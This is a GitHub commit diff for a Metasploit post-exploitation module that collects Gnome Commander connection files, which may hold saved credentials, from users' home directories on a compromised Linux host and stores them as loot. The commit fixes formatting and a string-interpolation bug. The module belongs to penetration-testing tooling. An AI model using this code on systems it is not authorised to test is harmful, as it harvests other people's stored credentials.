Skip to content

Commit f4bd44d

Browse files
committed
Fix outstanding issues
1 parent a904ed8 commit f4bd44d

File tree

1 file changed

+10
-10
lines changed

1 file changed

+10
-10
lines changed

modules/post/linux/gather/gnome_commander_creds.rb

Lines changed: 10 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -26,14 +26,14 @@ def run
2626
user = cmd_exec("whoami").chomp
2727
# User is root
2828
if user == 'root'
29-
print_status("Current user is #{user}, probing all home dirs")
30-
user_dirs << '/root'
31-
# Search home dirs
32-
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
29+
print_status("Current user is #{user}, probing all home dirs")
30+
user_dirs << '/root'
31+
# Search home dirs
32+
cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }
3333
else
34-
# Non root user
35-
print_status("Current user is #{user}, probing /home/#{user}")
36-
user_dirs << '/home/#{user}'
34+
# Non root user
35+
print_status("Current user is #{user}, probing /home/#{user}")
36+
user_dirs << "/home/#{user}"
3737
end
3838
# Try to find connections file in users homes
3939
user_dirs.each do |dir|
@@ -43,7 +43,7 @@ def run
4343
#File exists
4444
begin
4545
str_file=read_file(connections_file)
46-
print_good("File found : #{connections_file}")
46+
print_good("File found: #{connections_file}")
4747
vprint_line(str_file)
4848
#Store file
4949
p = store_loot("connections", "text/plain", session, str_file, connections_file, "Gnome-Commander connections")
@@ -54,9 +54,9 @@ def run
5454
end
5555
else
5656
# File not found
57-
vprint_error("File not found : #{connections_file}")
57+
vprint_error("File not found: #{connections_file}")
5858
end
5959
end
6060
end
61-
61+
6262
end

0 commit comments

Comments
 (0)